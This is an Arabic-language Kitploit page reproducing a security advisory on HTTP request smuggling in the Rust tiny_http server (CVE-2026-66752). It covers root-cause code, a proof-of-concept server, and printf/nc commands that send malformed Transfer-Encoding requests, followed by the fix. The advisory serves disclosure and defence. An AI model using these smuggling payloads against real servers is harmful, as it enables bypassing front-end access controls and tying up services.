Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http- — استشارة أمنية: تهريب طلبات HTTP عبر قيم Transfer-Encoding غير محللة (tiny_http) | Kitploit
أدوات/GitHubGitHub/theopaid/cve-2026-66752-http-request-smuggling-via-unparsed-transfer-encoding-values-tiny_http-
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبأمن الويبالأوراق والأبحاث
GitHubtheopaid/cve-2026-66752-http-request-smuggling-via-unparsed-transfer-encoding-values-tiny_http-

CVE-2026-66752-HTTP-Request-Smuggling-via-Unparsed-Transfer-Encoding-Values-tiny_http-

استشارة أمنية: تهريب طلبات HTTP عبر قيم Transfer-Encoding غير محللة (tiny_http)

عرض المستودع
50منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

نشرة أمنية: تهريب طلبات HTTP عبر قيم Transfer-Encoding غير المُحلَّلة (tiny_http)

معرّف CVE المُعيَّن: CVE-2026-66752

الملخص

يتحقق tiny_http فقط من وجود ترويسة Transfer-Encoding. ولا ينظر أبدًا إلى قيمتها. أي قيمة، بما في ذلك ترميزات ليست chunked وقوائم ترميز لا يكون عنصرها الأخير chunked، تؤدي إلى فك ترميز الجسم بوصفه chunked، ويُتجاهَل Content-Length في الوقت نفسه.

الواجهة الأمامية التي تُحلّل ترميز النقل بشكل صحيح ستؤطِّر مثل هذا الطلب بشكل مختلف عمّا يفعله tiny_http. وجود مُشاركَين بتأطيرين مختلفين على اتصال واحد هو الشرط المسبق لتهريب الطلبات. كما أن إرسال جسم غير chunked مع ترميز غير chunked يجعل tiny_http يفشل في قراءة الجسم ولا يرسل أي استجابة إطلاقًا.

الإصدارات المتأثرة

رابط المستودع: https://github.com/tiny-http/tiny-http

المتأثرجميع الإصدارات المُصدَرة حتى 0.12.0 (2022-10-06) ضمناً، وهو الإصدار الحالي
تم التحقق منها0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0
أُصلح فيلا يوجد إصدار يتضمن الإصلاح حتى وقت كتابة هذا التقرير

الخطورة

CWE-444 (تفسير غير متسق لطلبات HTTP).

درجة CVSS 4.0 الأساسية 6.3 (متوسطة) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N

نموذج التهديد

عميل بعيد غير مصادَق يرسل HTTP خامًا. لا حاجة لبيانات اعتماد أو تفاعل من المستخدم.

تتطلب حالة التهريب أن يكون tiny_http خلف واجهة أمامية أو شبكة توصيل محتوى (CDN) تمرّر Transfer-Encoding وContent-Length وتطبّق القسم 6.1 من RFC 9112 بشكل صحيح، أي أنها تتعامل مع قائمة ترميز لا يكون عنصرها الأخير chunked باعتبارها غير chunked وتتراجع إلى Content-Length. عندها تختلف الواجهة الأمامية وtiny_http حول موضع نهاية الجسم.

أما حالة الطلب دون استجابة فلا تتطلب أكثر من القدرة على الاتصال.

السبب الجذري

tiny_http-0.12.0/src/request.rs، الأسطر من 143 إلى 153. يتم العثور على الترويسة واستنساخها، لكن لا يُختبر من القيمة سوى وجودها فقط:

143      // finding the transfer-encoding header
144      let transfer_encoding = headers
145          .iter()
146          .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147          .map(|h| h.value.clone());
148  
149      // finding the content-length header
150      let content_length = if transfer_encoding.is_some() {
151          // if transfer-encoding is specified, the Content-Length
152          // header must be ignored (RFC2616 #4.4)
153          None

ثم يطبّق الكود في tiny_http-0.12.0/src/request.rs، الأسطر من 218 إلى 221، مُفكِّك ترميز chunked دون قيد أو شرط:

218      } else if transfer_encoding.is_some() {
219          // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220          // over the message (RFC2616 #3.6)
221          Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>

إن transfer_encoding هو Option<AsciiString> يحمل القيمة الخام، ولا شيء يفحص محتواه أبدًا. يتطلب القسم 6.1 من RFC 9112 أن يكون الترميز الأخير لأي طلب هو chunked ويتطلب من الخادم رفض الرسالة بخلاف ذلك، ويتطلب القسم 6.3 رفض أي طلب يحمل كلتا الترويستين Transfer-Encoding وContent-Length.

إثبات المفهوم

الخطوة 1. شغّل خادمًا يعرض ترويسات التأطير والجسم الذي قرأه.

use std::io::Read;
use tiny_http::{Response, Server};

fn main() {
    let server = Server::http("127.0.0.1:8005").unwrap();
    for mut request in server.incoming_requests() {
        let te = request.headers().iter()
            .find(|h| h.field.equiv("Transfer-Encoding"))
            .map(|h| h.value.as_str().to_string());
        let cl = request.headers().iter()
            .find(|h| h.field.equiv("Content-Length"))
            .map(|h| h.value.as_str().to_string());
        let mut body = Vec::new();
        let r = request.as_reader().read_to_end(&mut body);
        println!("TE={:?} CL={:?} read={:?} body={:?}",
                 te, cl, r, String::from_utf8_lossy(&body));
        let _ = request.respond(Response::from_string("ok"));
    }
}

الخطوة 2. أرسِل طلبًا يحمل Transfer-Encoding: identity مع Content-Length مطابق وجسم عادي. ستؤطِّر أي واجهة أمامية هذا الجسم باعتباره البايتات الخمسة hello.

printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005

النتيجة. تعامل tiny_http مع جسم غير chunked كما لو كان chunked، ثم تجاهله ولم يرسل أي استجابة. ينتظر العميل حتى انتهاء المهلة الزمنية الخاصة به ويُستهلَك الاتصال.

TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""

الخطوة 3. أرسِل قائمة ترميز لا يكون عنصرها الأخير chunked.

printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005

النتيجة. يقبل tiny_http الطلب ويفك ترميزه كـ chunked، في حين يتطلب القسم 6.1 من RFC 9112 رفضه:

TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"

وعلى النقيض، فإن Content-Length وحده وTransfer-Encoding: chunked الصحيح يتصرّفان بشكل سليم ويُنتجان body="hello".

الأثر

عندما يكون tiny_http خلف واجهة أمامية تُحلّل ترميزات النقل بشكل صحيح، يختلف المكوّنان حول موضع نهاية جسم الطلب. يختار المهاجم البايتات على جانبي هذا الاختلاف، وهو الإعداد القياسي لتهريب طلب يتجاوز توجيه الواجهة الأمامية والتحكم في الوصول لديها.

وبصرف النظر عن أي واجهة أمامية، تُظهر الخطوتان 2 و3 طلبًا مشوّهًا بشكل واضح يُبقي عاملًا مشغولًا ولا يتلقى أي استجابة إطلاقًا، فلا يستطيع العميل معرفة أن الطلب رُفض.

المعالجة

حلّل Transfer-Encoding بوصفها قائمة مفصولة بفواصل، كما هي في الواقع، في src/request.rs قرب السطر 144:

اشترط أن يكون الترميز الأخير chunked لأي طلب يحمل جسمًا، وارفض أي ترميز آخر برمز 400 بدلًا من فك ترميزه كـ chunked. وارفض أي طلب يحمل كلتا الترويستين Transfer-Encoding وContent-Length، كما يتطلب القسم 6.3 من RFC 9112 لخادم ليس وكيلًا (proxy)، بدلًا من تجاهل Content-Length بصمت عند السطر 150.

وعندما يفشل قارئ الجسم، أرسِل رمز 400 بدلًا من إسقاط الطلب دون استجابة.

تنزيل الأداة